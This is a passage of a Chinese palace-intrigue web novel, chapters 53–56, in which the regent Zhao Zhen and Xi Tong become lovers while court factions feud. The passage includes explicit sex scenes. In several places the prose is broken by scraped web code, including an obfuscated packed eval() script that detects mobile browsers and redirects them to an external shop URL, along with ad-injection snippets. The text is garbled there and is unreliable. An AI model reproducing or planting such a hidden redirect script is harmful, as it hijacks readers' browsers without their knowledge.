赵臻这话说得已然露骨,他已经挑明了赵家灭族跟周正脱不了关系,而且他也没有否认他对周正心怀大恨,只是他身为辅政大臣,愿意退一步,将个人恩怨放在国政之后。甚至愿意让自己的心腹跟周家联姻,以让周正安心。 周党还在惶惶不知所以,昭阳王高澜已经看向赵臻,唇角不禁勾起来,今日种种,赵臻要争取的,不过就是纯臣的偏向。他最后这番话说得,堪称坦荡,很难不让见惯了蝇营狗苟的大臣们动心啊。这一局,终究还是赵臻赢了。 感受到注视,赵臻也朝他望过来,他同样报以浅笑,似乎在说“承让”。 朝会散去,赵臻从大朝晖殿出来时,被高澜拦住。 “此举胜负已分,昭阳王有何指教?”赵臻道。 高澜却笑了笑,从怀里拿出一个锦盒:“当日奚瞳在我府上,我瞧着她的簪子已经有了锈痕,釉彩也斑驳了。她曾在中秋宫宴上为我解围,自然算是我的朋友,新年刚过,这是我给她的新春贺礼,劳驾太傅代为转交。” 赵臻的双眸很快冷了下来:“一别经年,我竟不知,昭阳王还有这等癖好,喜欢染指……别人的女人。” “呵……”高澜轻笑:“你的女人?赵臻,奚瞳非妻非妾,非奴非婢,她是你的女人吗?” 赵臻眸底浮上狠戾,但语气仍是克制:“我与奚瞳,自有章程,不劳昭阳王费心。” “是吗?”高澜走进赵臻两步,将锦盒放到他的手中:“本王拭目以待,端看太傅大人给她什么身份,也看看你,到底是选江山、还是选美人。” 高澜离开,赵臻握着锦盒手指节泛白。 回府之时,赵臻经过坊市,在京城最好的首饰店里,他逡巡几遭,为奚瞳选了二十几件首饰,光簪子就十几根。 首饰店老板笑弯了眼,赠送了他一条坠了羊脂玉的腰绦,并将他列位该店至尊客官,以后再来,纵享九折优惠。 赵臻回府的时候,奚瞳正伏案写字,今日她穿了一件浅碧城的衣衫,这让赵臻觉得亲切。天机山上,他的道袍也是这样的颜色制式,山上的岁月是他一生当中最为快乐的时光,奚瞳这样打扮,让他几近迷离,恍惚觉得那些岁月里本也是有她的。 奚瞳此时姿容挺拔,神采秀彻。赵臻凑近,坐到她身侧,垂眸看去,奚瞳的字骨隽秀无方。 “在写什么?”赵臻问。 “《南华真经》。”奚瞳笔锋未停:“韵仪和陆忧的事就要定下了,我没有什么能送她的,手抄一册《南华真经》,算是心意。” “送礼抄佛经的多些,你怎么抄道经?你信道?”赵臻的手揽上她的腰。 奚瞳感受到赵臻的亲近,脸颊热了热,但还是努力专注在抄写之上。倒也谈不上信不信,天庭都是修道之人,她这算是干一行爱一行。 见奚瞳不说话,赵臻觉得她又在冷落自己,他此刻拥着她,闻着她身上的皂角香,又被她的淡漠激了,他的喉结忍不住滚了一滚。 奚瞳感受到赵臻抱她更紧了些,现下书房暖炉烧得旺,她心头的羞赧渐浓,周身忍不住烧起火来,她用胳膊肘顶了顶赵臻的胸膛:“赵臻,我热。” 赵臻岿然不动,他余光瞥见她发髻上的铃兰簪子,更是气恼,都斑驳成这样了,还戴着,真不知送她簪子的那人究竟有什么好。 赵臻又想起方才高澜那副膈应人的嘴脸,伸手便将奚瞳的簪子拿了下来。 青丝如瀑,泻落一地。 “赵臻你……”奚瞳条件反射地想要拢住自己的头发,可她刚一抬手,便被赵臻一个猛力拉进怀里,痴吻起来。 奚瞳顾不得自己长发散落,只仓促回应着赵臻。 吻至一半,赵臻将她松开,轻笑一声:“已经吻过几次了,怎么还这样笨拙。” “我没有!”奚瞳反驳。 “呵……没有,那你让我瞧瞧你的本事。” 说罢,他又欺上来。 奚瞳觉得自己意识迷离,如在云端,也能感受到赵臻体温的蒸腾,她知道接下来会发生什么。 她努力挣脱赵臻的禁锢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727779|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“赵……赵臻,我们回内室,回内室好不好。” 赵臻却道:“累了,不想动弹,就在这儿吧。” 奚瞳瞠目结舌,这是人话吗?咱们就是说你要是不想动弹,不如就不要做这种事…… 可赵臻根本没有给她反驳的机会,他轻轻掀起她的裙裾,又是一场绵长氤氲的云雨。 奚瞳简直想哭,她活了五百一十九年,十九年做公主,五百年做仙女,品德一向很高贵,可此时却以这样的方式同一个男子做着亲密无间的事。 若有人经过,远远看来,桌案之上,两人似只是情浓,彼此拥吻,可桌案之下的隐秘之处,两人却彼此交融,难舍难分。 奚瞳看一眼桌上的《南华真经》,心头委屈更甚,心说修道信道虽只是她职业需要,可在《南华真经》跟前做这种事,也太不尊重她的职业了吧…… 奚瞳眼睫上缀着泪花,终是瘫软在赵臻怀里。 赵臻微微喘息着,盯着怀里的人:“怎得又掉眼泪了?奚瞳,跟我欢好……你就这般不情愿吗?” 赵臻的语气与其说责怪,不如说是难以掩饰的落寞和失望,奚瞳抬眸,盯住他的眼睛,泪痕未干,但她笃定:“我没有不情愿。” “那为什么哭?” 奚瞳垂眸,食髓知味的何止赵臻,她也喜欢赵臻的,喜欢他不由分说却柔情万分的亲吻,喜欢他野欲滔天但仍满是耐心的依偎和探究…… “赵臻。”奚瞳开口:“我这一生,快乐的时光实在很少,拥有了什么,很快便失去,就像从未抓住过一样。” 奚瞳没有说谎。 她在长秦时,身为女儿,她渴望父母之爱,但父亲沉迷酒色、母亲一心宫斗;身为女子,她渴望一份相知,但云序同她,虽是友人,却也终究隔了君臣身份;身为公主,她渴望王朝兴旺长久,但长秦亡国,她只能自刎相殉。 与她纠缠不休的只有赵臻,那时的赵臻,还有如今的赵臻。 赵臻将她拥在怀里:“你有我了。” 奚瞳看了赵臻一眼,她知道赵臻此刻是真心的,所以她没有反驳,她愿意和赵臻只争朝夕。 赵臻从腰间取下一个荷包,将里头的东西倒在桌子上。 “这是……”奚瞳看着琳琅满目的首饰,不禁咋舌。 “我不喜欢你戴别人送的东西。”赵臻将簪子一个个摆正:“我不知道你喜欢什么样子的,金玉银木,碧玉翠珠,我都买了回来,反正你戴什么都好看。” 奚瞳无奈:“你怎么这么霸道?” “这算什么霸道?我若戴着其他女子送我的冠饰,你难道会高兴?” 奚瞳被他说服了,她伸手挑了一个木身珍珠簪,递到赵臻手里。 赵臻先是愣了愣,继而接过来,笨拙地用手在她的脑袋上挽一个发髻,然后将簪子插了上去。 奚瞳抬手摸一摸,不禁失笑:“鸡窝一样。” 赵臻没有丝毫惭愧:“日后总会熟能生巧。” 奚瞳将剩下的簪子重新装回荷包:“拿去退掉。我又不是成坨的冬菇,哪有这么多脑袋。” “我……”赵臻想要反驳,但看到奚瞳蛾眉微横,便哑了火:“知道了。我去退。” 奚瞳满意一笑,继而又想起什么,红着脸想要起身,整理一下衣衫和座下的蒲团,可双腿一软,没有站稳,又跌倒在赵臻怀里。 赵臻见她这般,不禁又起心动念,一把将她抱起来。 “赵臻!”奚瞳低声惊呼。 赵臻抱着她,往内室走去:“躲了我这许多日,你尚未补偿我。” 奚瞳反抗无果,认命一般,将脑袋依偎到赵臻的颈窝里。 54.第 54 章 是日天阴,栖梧宫里十分昏暗,并不明媚的光线透过窗户打进殿中,和昏黄的烛光糅合在一起,映照在周怀淑脸上。 她今日妆容郑重,满头珠翠,可光线一来,她脸上的脂粉显现出过分的白,让这张艳冠天下的脸带了阴气,活像一尊鬼。 周怀淑人虽未动,但心是乱的。 昨天赵臻进了宫,拟了周韵仪和陆忧的赐婚旨意,盖了玺印。这代表着他同周韵仪已无甚可能,本是件让她高兴的事。 可赵臻周身散发着对他来说极少见的温和气息,走近的时候,周怀淑能闻到他身上檀香和皂角香之下,那若有若无的独属于男子身体的味道。 先帝高宇于男女之事上花样繁多,手段酷烈,因为恐惧,周怀淑对这种味道极其敏感,敏感到了几近病态的程度。 所以她知道……赵臻已经临幸过那个伎子了。 断情绝爱的赵臻,将自己的身体,给了一个下贱的伎子…… 指甲陷入掌心,周怀淑感受到指腹之上传来黏腻的湿意,是她的血。 奚瞳…… 赵臻对奚瞳,会笑吗? 周怀淑脑海里充斥的,是这样一个有些可笑的问题。 赵臻已经很多年没有对她笑过了。上次还是在……还是在他们婚事刚刚定下来的时候。 当时赵臻还在天机山上,赵燊已经是大司徒,周家刚因为旧情谊得了赵燊提携,从老家迁居京师。周怀淑随父亲去赵家做客,临行前父亲反复嘱咐她,说赵世伯是个很有威严的大官,要她小心说话。可到了赵家,赵世伯对她非常亲切,伯母还让下人做了许多她爱吃的菜。 饭后长辈们在席间聊天,她实在无聊,就去赵家花园里散步,周围无人,她也就卸了在家里学的规矩,看到花园里有蝴蝶,她就和红盏青璃一起扑着玩儿。 闹了一会儿,她远远就看见一个少年站在远处的廊下,含笑抱臂看着她。 周怀淑愣住了,她认得赵臻,只是几年不见,他竟已经长成了这般耀眼的玉树临风的样子。 原是赵臻特意从天机山赶了回来,想见见父母为他定下的妻子,于是赵臻走近她:“本以为你会变成一个古板的大家闺秀,现在看来,还不算没救。好久不见啊,周怀淑。” 回忆来到此处,周怀淑的眼睛里蓄了泪。 她很长一段时间里,是把这一幕忘却了的。她有很多事要忙,她要争宠,她要怀上龙嗣,要在这偌大的宫殿里体面地活下去。是做了太后之后,她才越发频繁地想起了年少的时光。 赵臻是从什么时候变成现在这样的呢…… 周怀淑望着窗外那棵花朵已经凋零,枝叶却日渐旺盛的黄梅,不由打了个寒战。 这棵树是被银铃的尸身滋养起来的,银铃被活埋的那天,赵臻特意着人不堵她的嘴,银铃凄厉的呼喊在宫城上空呼啸,久久没有散去。 周怀淑的视线因为泪水变得模糊,原本端正坐着的身体也有些无措地摇晃起来。 青璃发现了端倪,走到周怀淑身边:“太后娘娘,您怎么了?” 周怀淑抬起无辜而脆弱的眼眸,看着青璃:“青璃,我没有做错,我做的所有事情,都是为了活下去。生死之前,哪有什么对错呢?” 青璃的目光有一瞬犹疑。 周怀淑抓住青璃的腕子:“我知道,我知道他失去了母亲和妹妹,他难过,他生我的气。可他为什么不想想,若我不将阿吟交出去,高宇会对我做什么?青璃,我只是为了自保,我不是故意的。我没有错,青璃,我没有错对不对?” 青璃的眼神里有难以掩饰的冷意。 她和红盏是太后的贴身婢女,自幼服侍她。若一年前太后这般说,青璃一定会泪眼婆娑伏在她膝头安慰她,可如今,再也不会了。 青璃也曾天真的以为,赵夫人受辱惨死,赵二小姐肠穿肚烂,太后虽然心狠,但也确有自保之意。 直到看到了红盏的下场,青璃才知道,一个彻头彻尾自私自利的人,是只能看到自己的难处,看不到别人的悲喜的。 再回看当年之事,便有了另一重味道。 那时赵二小姐藏在栖梧宫,并没有人来搜查,只是禁军队伍经过这里,周怀淑便十分恐惧地将人交了出去。 而事后,她也因为此事,被先帝赞许忠心,由昭仪晋升成了贵姬。 红盏跟越阳王回府的那天,青璃对赵臻正式投诚,愿意做他在后宫的眼睛,调动后宫的人事。 “青璃,你当明白,即便你为我做事,也未必能得什么荣华,周怀淑阴毒,我亦非君子。” 赵臻这句话,反倒让青璃安心起来。 青璃跪着,叩首道:“奴婢所愿,并非荣华。他日主公事成,还望主公允奴婢自由之身。” 赵臻看了她良久,应一句:“好。” 青璃在周怀淑身边,看过赵臻年少时的意气风发,也看过他惨遭灭门后的嗜血狠毒,但为人奴婢者,最会察言观色,她知道赵臻比周家、比宫中任何人都要可信。 青璃抬手,安抚似地拍了拍周怀淑的肩膀:“太后娘娘,今日是黄门侍郎同新妇拜见您的日子,算算时辰,他们也快到了,娘娘莫要再他们面前失仪才好。” 周怀淑这才想起,她今日这般早早打扮是为了什么。 周潮同越阳王府的郡主三天前成婚了,今日郡主回门后,要进宫拜见她。 提起这桩事,周怀淑心里也有些别扭。 周潮自从做了黄门侍郎,除了上朝,日日都会来栖梧宫陪着她,还会给她带一些民间的玩意儿逗她开心。 可如今,他居然十分痛快就娶了越阳王府的,甚至都不曾问一问那郡主的年纪样貌、品性学识。 果然,男人在权力面前,都是人尽可妻的贱骨头。枉她还相信了周潮几日,信他会如他自己所说的那般,对自己忠贞不二。 “黄门侍郎周潮携新妇高凌拜见太后娘娘!” 阉人尖细的通报声传了进来。 周怀淑赶紧擦干自己的眼泪,坐正了身体。 …… 太傅府中,奚瞳醒来的时候,是在赵臻的怀里,她睁开双眼,便看到赵臻硬朗的胸肌线条。 她忍不住吞了一口口水,一直闭着眼的赵臻听到她的吞咽声,忍不住笑了:“怎么,才刚起来就又馋我了?” “你胡说什么!”奚瞳刚一张口,才发现自己嗓子哑了。 她咬了咬下唇,就赵臻这么夜夜折腾她,她不哑才怪。 赵臻却有些紧张,他先是抬手探了探她的额头,确定她没有发热之后,又起身倒了一杯水,端到床边。 奚瞳想要接过来喝,可赵臻却先一步,扬首将水送到了他自己的嘴里。 奚瞳睁大了眼睛,你是人吗,我都这样了你不给我喝? 可下一刻,赵臻的唇就吻上来,沾染了他体温的水也渡到了她的口中。 奚瞳真的渴了,这个吻难免带了吮吸的味道。 赵臻的眉眼和声音都带了笑意:“还渴吗?” “渴。”出于本能,奚瞳回答,可稍作思忖,就又开了口:“不渴了……” “可是我渴。”赵臻道:“你渴的是水,我渴的是你。” 于是赵臻又饮一杯,奚瞳又得一吻。 最终奚瞳轻轻喘息着依偎着赵臻。 “赵臻,我们不能再这样了。我们太……太耽于美色了。” 奚瞳真心说道,自打她同赵臻经了人事,便都有些放纵,赵臻如今散朝回家也不看书了,只一心同她耳鬓厮磨、共赴巫山。 奚瞳承认,赵臻让她很快乐,无论是身体还是心灵,她从未像现在这样快乐过。可色是刮骨刀,人在情/欲里浸泡久了,骨头就软了。无论男女,都是如此。 奚瞳对赵臻有期待,对自己亦然,她希望赵臻实现他的抱负,她也希望自己成为对天下有用之人。而这些理想,同情/欲似乎是天然相悖的。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵臻低头看着怀里的人,他透过她不安的眼睛,似乎看到了她的担忧。 “奚瞳,我太老了。” “嗯?” “我比你大十岁。” 奚瞳从赵臻的胸膛上起来,看向赵臻,他的目光真挚而悠远。 “我昨天梳头时,发现了一根白发。我仔细瞧着铜镜里的自己,眼角也有不易察觉的细纹。奚瞳,你还是少女,我却已经是中年了。” 奚瞳的心猛然一滞。 她下界时,是十九岁。十九岁是她殉国的年纪,也是她成仙的年纪。 而赵臻……她没怎么注意过赵臻的年纪。因为她自己“活得”足够久,也因为赵臻的容貌足够英俊。 今日经赵臻一说,她才想起,正月十七开朝那天,裴叔告诉过她,那天是赵臻的生辰,三十岁的生辰。 赵臻继续道,语气里满是遗憾:“放在民间,我这年纪,是可以做你叔父的。我若此时不努力,日后哪怕你想,我恐怕也是力不从心。” 奚瞳听了,不禁失笑,世间男子都对自己的体力莫名自信,怎得赵臻这般妄自菲薄。 她伸出双手,捧起他的脸,他的双唇因为奚瞳掌心的力气微微嘟起来。 “什么叔父?是哥哥好不好?”奚瞳笑,十分热血的鼓励道:“哥哥哪里是中年人,哥哥风华正茂。” 赵臻握住奚瞳的手,眼睛里迸发出深刻的喜悦:“你叫我什么?” 奚瞳道:“哥哥啊。” “再叫一声。” 奚瞳这才明白,赵臻喜欢她这样称呼他,她有些不好意思,低了低头,声音也不由低了:“哥哥。” 可很快,赵臻的鼻息又找到了她,又是一席缠绵的长吻。 赵臻这次吻得更为投入,奚瞳因为缺氧,又有些意识朦胧起来。 可就在她脑海的迷离幻境里,一道影像突然闯了进来。 长秦王宫里,玉美人宫里新来了一批奴婢。 这天玉美人带着一个小太监来王后宫里请安,冲撞了王后。 玉美人正得宠,王后不愿与其正面冲突,却又实在咽不下这口气,便将气撒到了小太监头上,寻了个理由,让小太监去殿外,领十下掌掴。 奚瞳当时只有五六岁,从官学下学,便往母后宫里跑,想同母后一道吃晚饭。 可到了母后宫中,便发现门口站着一个面颊通红的小太监,到底是宫里长大的孩子,只一眼,奚瞳便猜到发生了什么。 她往前走,小太监乖顺地给她行礼,她仔细看了看小太监,觉得他甚是眉清目秀,她很是喜欢。 于是她从荷包里拿出先生奖给她的麻酥糖,递到小太监手里。 小太监有些惶恐,更多的是感动:“公主……” 奚瞳却道:“哥哥莫怕,吃糖。” …… 被赵臻吻着的奚瞳眼眶慢慢热起来,居然还有这样一桩事吗……她怎得现在才想起来…… 所以赵臻……后来那么多次的辱骂和杖责,你尽皆忍下来,是否也因为曾经那一声“哥哥”和那一颗麻酥糖。 “主公!” 两人的吻被十三的敲门声打断。 赵臻气闷:“何事?!” “宫中传来消息。”十三道:“黄门侍郎在太后宫里将郡主高凌打了。” 赵臻更加气不打一处来:“这种小事还须我处理吗?” 十三噎住,这事儿往小了说,是周潮夫妇的矛盾,可往大了说,牵扯到周家和越阳王府,十三哪敢不报。 不同于赵臻的不以为然,奚瞳却直勾勾盯着门外,想要吃瓜的心情达到了巅峰。 赵臻忍不住掰过她的下巴:“专心一点,跟我在一起时,眼里只能有我。” 奚瞳感受着自己蓬勃的心跳,伸手抚摸他的脸,她叹一口气:“赵臻,你哪里老啊……祸水红颜,怎么会老?” 赵臻笑了,将她拥入怀里,目光里尽是餍足。 55.第 55 章 同周潮成婚的,是越阳王高江的嫡出女儿高凌,自小被娇养长大。周潮是庶出,亲娘又出身风尘,他在周家都被苛待多年,又怎么会入这位郡主的眼。 但政治联姻之残酷,就在于容不得女子反抗,高凌在家中哭过闹过,无甚用处,只能坐上花轿。 她第一回见周潮,便是在两人的洞房里,周潮面容粗陋,高凌见了,更是绝望,她心中不忿不甘已经到了极点,这场婚事在她的眼里,是十成十的下嫁。 不过幸好,周潮没有强迫她圆房,两人成婚这几天,周潮待她还算有礼有节,哪怕她嘴上厉害些,周潮也未作声。这让高凌觉得,周潮还算“懂事”,待过些时日,她再适应适应,这日子未尝不能过下去。 虽说想开了一些,但今日进宫拜见太后,高凌仍是带了些情绪的。 去年中秋宫宴上,她的父王身中媚毒,对这位太后起了色心,这件事至今都在坊间广为流传。越阳王妃每每提起,都恨得牙痒痒:“宅子里的小妖精都对付不过来,还要对付宫里那个狐媚子!” 越阳王高江至今都对周怀淑色心不死,他想起中秋夜宴,最恨之事不是周家下毒害他,而是既然害了,又不愿意让周家这位美人太后委身于他。他本也觉得周怀淑人尽可夫,是个浪荡货,可真正拥在怀里,才发现温香软玉,最是醉人。自那一日起,他便对周怀淑日思夜想,抓心挠肝。就连红盏,靠着之前伺候太后的日子都跃上了枝头,只要她愿意说一些太后的私密事,高江就会不由自主对她好一些。如今红盏已经是越阳王府最得宠的小妾了。 因着越阳王的心思实在昭然若揭,加之太后绯闻不断,比如之前毁弃婚约爬上龙床,幼帝继位后又不甘寂寞勾引赵臻等等,世家内宅的妇人们对周怀淑的态度与前朝大不相同。 前朝看不上周怀淑的行径,但都还有几分“忠君”的态度摆在那里,妇人们则不同,她们是打心眼里瞧不起周怀淑,无论她是不是太后,都不影响这种蔑视。更何况,现如今的宫城,是赵臻做主,她不过是个花架子罢了。 高凌便是蔑视周怀淑之人中的一员,而且她同周潮的婚事是她屈就,所以这次进宫,她想要在周家这对姐弟跟前摆一摆越阳王嫡女的架子,也为母妃出一口恶气。 她对周怀淑行过礼,见这位太后一身锦服、满头朱钗,便轻声一笑,说道:“早闻太后娘娘风姿绰约,媚骨天成,今日一见,娘娘也是有几分华贵端庄的。” 当中侮辱讽刺之意,不肖多说。 高凌的发难来得太过直接,也太过突然,周怀淑甚至没有反应过来。 可原本站在高凌身边的周潮却缓缓转过身来,抬手给了高凌一个耳光。 周潮这一巴掌极快极狠,周怀淑都有些吓到了,忍不住站了起来。 高凌则被扇翻在地,她脸颊生疼,眼冒金星,待她反应过来时,只觉得嘴角有腥甜的味道,她流血了。 意识到这一点,高凌怒目等着周潮,恨声道:“你打我?!我是越阳王府郡主,你竟敢打我!你就不怕我告诉父王和母妃?!” 周潮俯视着地上的高凌,漠然一笑:“你是郡主,但座上的,是太后!郡主大可以去找越阳王告状,我正好看看咱们王爷若知道郡主在宫中出言侮辱太后,会是什么态度。他越阳王,难道要谋逆不成?!” “太后娘娘。微臣内子不懂规矩,出言冲撞太后,还请娘娘责罚。” 周潮给周怀淑行礼,周怀淑从这个弟弟的眼神里看到了鼓励,他这样说,不是想息事宁人,是真的要她处置高凌。 周怀淑心中不由生出一阵畅快,看来在周潮心里,他这新妇的位置是不如她这个姐姐的。 周怀淑本就对越阳王当年轻薄之举记恨许久,今日高凌又这般出言不逊,她的权欲又从丹田之处升起来。 她缓缓坐定,脸上浮起一抹笑,配合她的容貌,当真是凤仪万千。 “郡主年少,规矩学得不好,戾气也太重,来人啊,将郡主带到栖梧宫后殿佛堂思过,什么时候想明白了,什么时候再请郡主出来。” 高凌被两个阉人驾走。 “你们不能这样对我,我是堂堂郡主!你们不能这般对我!周潮!周潮你这个下贱的妾生子,你岂敢打我!我要杀了你!杀了你!” 高凌的声音渐行渐远。 周潮走近周怀淑:“长姐近来心中苦闷,如今可畅快些?” 周怀淑瞧着周潮,心中有了暖意,这个弟弟虽然出身微贱,容貌也不好,但是贴心的,也只有他会在乎自己是不是畅快。 周潮从周怀淑的目光里品出了感动和依赖,他不禁笑了笑,很好,这个女人会一步一步心甘情愿走到他的怀里,这很好。 周潮和高凌是在越阳王府用过午饭,未时进的宫,可直到亥时都没回府。高凌的陪嫁嬷嬷咂么出了不对,便偷偷回了越阳王府,跟王妃通了气。 王妃举着长剑就杀到了周家,周正压根不知发生了什么,王妃见他给不出答复,便径直提剑闯了宫门,进宫之后这才知道自己女儿被女婿扇了巴掌,又被关进了佛堂。 王妃怒气腾腾来到栖梧宫,见了周潮,举起剑来就要劈杀,被殿外一道声音打断。 “越阳王妃深夜入宫,意图杀人,是当我大盈律法皆为废纸吗?”王妃双眸含恨,看向殿外,是赵臻、越阳王高江还有大司徒周正。 “哼。”王妃目光凌厉:“我若非要取周潮性命呢?太傅大人想治我的罪,也要看看你有没有这个本事!” “王妃放肆!”说话的竟是肥头大耳的高江:“这是宫里,岂容你胡闹。事情我听说了,凌儿冲撞太后,确实该罚,都是你平日娇惯她!” 说罢,高江就上前一步,想要去问候周怀淑:“太后今日可受惊吓?” 高江痴态尽显,周潮横身挡在他之前,躬身行礼:“太后确然受惊,已经喝过太医院的参汤了,多谢越阳王挂心。” 高江满脸悻悻。 王妃却冷笑,笑着笑着就流了泪:“高江,事到如今,女儿委屈至斯,你竟全无关心,只看到周怀淑这个贱人!你枉为人父!” 说罢,王妃的长剑又举了起来,可下一刻,就被赵臻的暗卫打落在地,人也被暗卫擒住。 王妃怒吼:“我是越阳王妃!我母家有开国之功!谁敢动我!” 奚瞳今日跟在赵臻身后,一身素衣,挽了个利落的顶髻,是极为英气的装扮,有些雌雄莫辨。 她幽幽叹了一口气,来之前,奚瞳跟赵臻了解了高凌一番, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自然也越不过这位越阳王妃。 越往王妃出身庐陵刘氏,世代将门,其曾祖于大盈开国时拜上将军,有从龙之功。 王妃自幼习武,长到十六,遵从家中族老意愿,嫁给高江,后随高江前往藩地越阳。越阳雄兵五万,许多都是刘氏旧部的后人,对王妃十分敬重。与其说是高江在掌兵,不如说是这位王妃在掌兵。 奚瞳看着眼前这位情绪失控的妇人,心中唏嘘。 “大人。”奚瞳对赵臻行礼:“王妃此番失据,是为人母亲,担心女儿,不如让我带王妃去见一见郡主,之后再让她向太后请罪,可好?” 赵臻意味深长看奚瞳一眼,点了点头。 奚瞳走到被暗卫驾着的王妃跟前,低声道:“王妃,此时你若还要动武,非但不能救郡主,还会将自己搭上,不如同我去见一见郡主,再做打算。” 王妃安静下来,她与奚瞳对视一番,软了态度。 奚瞳示意,暗卫的手从王妃胳膊上拿下来,王妃甩了甩袖子,咬牙看了高江一眼。 奚瞳注意到她的眼神,在这种时刻,王妃最深的恨意落在高江身上,而非打了高凌的周潮。 奚瞳心中了然,转向周潮道:“周大人,佛殿在何处?” 周潮眉眼带着莫测的微笑:“栖梧宫南巷走到尽头。” 奚瞳点头,带着王妃往佛殿走去。 两人走得很快,可王妃也没忽视该问的问题。 “你是谁?” “我是奚瞳。” “奚瞳是谁?” “是赵臻身边的人。” “赵臻身边的什么人。” “赵臻……”奚瞳答得郑重:“是我的爱人。” “呵。”王妃轻笑出声:“爱人。你居然相信,赵臻这种人,会有真心。” 奚瞳唇角勾起来,透出淡淡的苦涩,但还是笃定:“我相信。王妃当年,应当也如我一般,信过越阳王吧。” “你放肆!” 奚瞳笑意更甚:“王妃不问问我,为何这样想吗?” 王妃目光里似有业火,但没有说话。 “就凭王爷妾室无数,儿女近百,王妃却仍然愿意守在他身边。以您的出身和能力,到哪里都有一番天地,却为了王爷囿于王府后宅。昔年策马扬鞭,塞外杀敌,如今您的对手却只剩下那些莺莺燕燕了。若非您方才鄙弃的真心,我想不出其他能将您困住的理由。” 两人步履未停,奚瞳说完这番话,王妃不禁深深望向奚瞳,她的眼神里有讶然,有防备,也有深刻的痛楚。 行至佛殿之前,奚瞳便听到殿里传来高凌已经沙哑的吼叫:“我要杀了周潮!我要杀了他!” 奚瞳从怀里拿出赵臻的令牌,两个守门的阉人看了,当即开门放行。 王妃迈入佛殿的一刹那,高凌便扑进母亲怀里,她头发已经乱了,妆也已经哭花:“母妃!你要替我做主啊母妃!” 奚瞳看着这对相拥的母女,有些惋惜。 王妃是个厉害的,她的女儿却没能继承她的手段和聪明。 “王妃。”奚瞳开口:“你在内宅同脂粉缠斗了半辈子,难道要让郡主陷入同样的泥沼吗?” 王妃和高凌同时回头,看向奚瞳。 56.第 56 章 高凌比奚瞳年长几岁,听到奚瞳这一句与年纪不符的“高深”的问话,不禁有些错愕。 她一边抽泣一边看向王妃:“母妃,她是谁。” 王妃没有回答,她只是凝视着奚瞳:“事已至此,没有回头路了。自古女子婚嫁,由不得自己。凌儿已然嫁给了周潮,他们二人……是要过一辈子的。” 奚瞳轻哧一声:“谁说成了婚,就一定要过一辈子?” 王妃被这句话堵得没了说法,高凌却有些愠怒,女子的忠贞是多么重要的一件事,眼前这个小丫头好生放肆,竟这么轻描淡写就将婚姻大事视作儿戏。 奚瞳看着高凌,觉得她真是世间许多女子的缩影,出身高贵又如何,不忿命运又如何,最后还是在世道的约束下,循规蹈矩地活着。 奚瞳温声道:“大盈律法,于男女姻缘上,从未剥夺过女子和离之权。话虽如此,民间女子想要和离,确然千难万阻。不脱一层皮,是脱不了身的。皇室女子则容易很多,我听闻陛下有两位姐姐就换了驸马,先帝朝也不乏公主郡主改嫁的例子。” 听到这里,王妃和高凌都默然下来,相互对望着。 可这时候,奚瞳说了最后一句话:“当然,如果郡主一直是郡主的话。” 高凌有些懵懂,王妃却当即明白了奚瞳这话的意思。 高江如今同周家媾/和,跟赵臻斗,赢了,高凌当然是天底下身份最尊贵的女子,但若输了……也不过就是阶下一道无名无姓的亡魂。 王妃一双蜂目看向奚瞳,奚瞳波澜不惊:“王妃,我敬重您的族人都是保家卫国的战士,今日也不妨更坦诚些。郡主若在同周潮的婚事里求爱意,怕是求不到。但若是求利益,却未必是输家。王妃您是聪明人,过去二十几年,因情障目,如今重新睁眼看看这世道,您当是看得再明白不过。言已至此,奚瞳告退。” 奚瞳留下她们母女二人在佛殿彼此安抚,她则往栖梧宫正殿走。 此时夜深,走至一处无人的廊下,一只手自暗处伸来,将她拉到了栖梧宫后花园的假山洞穴中。 奚瞳想要惊呼,却被一只手捂住了嘴。 奚瞳的眼睛渐渐适应了黑暗,在远处微弱烛光的映衬下,她看清了来人的脸,继而平静下来。 紧紧压在她下颌的手掌渐渐松开,奚瞳深吸了几口气。 “昭阳王此番,实非君子之举。”奚瞳讽刺。 高澜没有吱声,只看着她发髻上的簪子,这簪子极为素雅,温润的木身,簪尖点缀几颗并不大的珍珠,宛如冬日落雪的白梅。 “我送你的簪子,赵臻没给你?”高澜道。 “给了。”奚瞳答:“但我不喜欢。” “呵……”高澜被气地轻笑出来:“中秋夜宴初相遇,你对我可不是这般态度。赵臻到底许了你什么?让你对他这么死心塌地?” 奚瞳被高澜的一双手箍住了肩膀,动弹不得,她只有些厌恶地将头转到一边。 高澜看奚瞳这样不驯,也动了气,他腾出一只手,捏住奚瞳的下巴,迫她看着自己:“不知好歹。你以为你是赵臻身边第一个女人吗?他在京中这些年,世家那帮老狐狸给他使了多少次美人计,你可知那些女子都是什么下场?死的死,残的残,劳军的劳军,为奴的为奴。你以为你可以独善其身吗?” “我不一样。”奚瞳下巴生疼,被高澜捏出了泪。 “天真!”高澜斥道:“赵臻这样尸山血海爬出来的人,什么事情做不出来?他要娶的女人,不会是你这种身份,待他有了合适的目标,你又会有怎样的结局,你想过吗?” 奚瞳红着眼恶狠狠看着高澜,她的目光太过凶狠,像是一只落难的殊死一搏的小兽,这目光让高澜一瞬怔忪,钳着她的手也不由松开来。 奚瞳沉声说道:“高澜,你曾说过你姓高,同赵臻立场不同,注定殊途。那你是否想过,那曾经差点埋葬了赵臻的尸山血海,是你高家给他的。” 高澜闻言,瞳孔不由颤了颤。 “你高家君主荒淫无道,灭了赵臻全族,赵臻要夺你高家的江山。这很公平。”奚瞳道:“昭阳王,你如今有什么立场,来指摘赵臻的品性?!” 说完,奚瞳便挣脱了高澜。 奚瞳爱上赵臻,除却前世的“义”,还有今生的“怜”。她不相信以德报怨,她希望赵臻拥有血债血偿的公平,赵臻值得这份公平。 